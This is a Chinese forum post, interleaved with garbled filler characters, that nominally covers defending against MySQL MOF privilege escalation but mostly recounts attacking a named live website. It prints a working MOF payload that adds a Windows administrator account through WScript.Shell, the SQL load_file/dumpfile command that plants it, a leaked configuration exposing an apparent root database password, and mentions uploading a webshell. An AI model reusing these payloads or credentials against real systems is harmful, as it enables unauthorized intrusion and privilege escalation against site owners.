Mysql mof扩展漏洞防范方法. D: Z4 @& J' l0 A' W$ f# g
$ N+ M- e* R( O6 _网上公开的一些利用代码:
2 i B* v' a9 S4 {/ s- k, ^! L( Z( L* i
#pragma namespace(“\\\\.\\root\\subscription”)
" I9 D b: H7 E) t+ Z: f+ l
) k1 D! V+ y* c4 i1 p% U- Sinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };3 J! ] h& o- \, L) @; P+ j+ A
: t r$ q8 |, P6 _9 N; E7 L c2 B
8 Y% u/ s4 n* [
# k4 f9 z$ N9 D1 R8 }
; m( p4 V+ p" y X* `( t1 R- A; p9 U& ~8 F0 N/ M& E
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
* g* H- O& G; p8 d从上面代码来看得出解决办法:! x+ V" u C7 h; _0 T# i; l
' V# b$ v8 W* `" h& n
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
* R. w' d" F9 Y1 z! j+ y. H d
4 |$ v( j5 j8 |6 B& t- o s2、禁止使用”WScript.Shel”组件/ ]3 j) Z0 x ^, g: v; O0 ?$ V
- ~. w# H/ n! G4 x+ Y. K6 N3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER; ~- T- z+ }5 M) d- l; j% {
: Q% Z( K9 R- E. E1 \8 \
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
: [ Z O" r! a7 I% O! o! }: W2 Y! e& i% G
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权- B3 p% J h1 w) ]6 \6 ]+ h& t
# P" c$ a* S/ L# M
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
; p9 O; x) s( w# I8 X: ^
( v1 R% _5 a T* a看懂了后就开始练手吧
3 l; s- ]- d2 h* ^, k
7 z. r0 N- s, H" t( q( `http://www.webbmw.com/config/config_ucenter.php 一句话 a- u- v( i6 t9 Q4 @0 _
8 }2 c1 u5 ^# P4 V0 m" K5 |$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
& e8 p: m9 p; L0 }5 k T8 b4 t- E {4 l4 e' N% z6 h6 e! P
于是直接用菜刀开搞. o" u) |8 a4 q2 _) ?
- y, ^) A3 a4 F# G' X" F! u
上马先% i- w# J2 M% E) ~0 d& x' y! L
6 }7 Q& K% I( e8 }既然有了那些账号 之类的 于是我们就执行吧…….3 c; ^6 p. j7 G' I
! W# P9 G) b( m+ ~; u$ @小小的说下
; S0 b" b& n. G4 [7 u8 V$ `7 O+ t
/ j( u2 Q6 _5 k% I k9 z, w; k在这里第1次执行未成功 原因未知
/ P3 G. A; O3 X* d
' ~1 e5 A3 {/ s j; m4 o2 m* _" l我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。1 i( y( \% a- T! L( D
1 m& w# D' n6 E$ c* `1 R: ?1 @- n2 J
#pragma namespace(“\\\\.\\root\\subscription”). q- l1 _! `# s( ]
% T+ d3 N9 F1 E1 H# ]instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
9 Y+ [- ?; r1 {- J* j4 E" T
P- P9 s; m# r$ N我是将文件放到C:\WINDOWS\temp\1.mof! f: b% L' R! q# P: u/ G- G
- }9 G6 }- G( g" j
所以我们就改下执行的代码% _+ f9 y/ y+ m9 y1 Q% E2 d
! c' M5 i8 y' Y4 G0 M$ dselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
$ T5 F" h- h" v) G0 V, x/ h
8 D* D) a. [8 R. P$ P- f
6 o6 B5 R5 P4 r/ T$ {: o u6 H% B5 f6 y1 L' y' N, p
但是 你会发现账号还是没有躺在那里。。7 ?9 P" I' X: [3 Q
$ X0 ^7 Q: Z4 l1 {$ a于是我就感觉蛋疼
* m9 X: z( @3 N4 h
: K! R j: l; \8 O就去一个一个去执行 但是执行到第2个 mysql时就成功了……… M! v/ f; O. b* F4 g; P
8 Z! H9 c( Y% p5 E# _4 d" q
, `# G( J9 i% o( H$ ^: f9 P
. N4 V3 M" e3 q; l但是其他库均不成功…) U) e7 Z* m+ G0 B- D3 |! c
* f7 |! c8 s/ z
我就很费解呀 到底为什么不成功求大牛解答…
S8 q% S1 g+ t( J/ a' G$ R* ~% i9 X; _9 H; B) `
+ p8 V: E" M5 d% ]/ W6 u4 }! {
4 c7 h( J& A) s0 |: X4 M |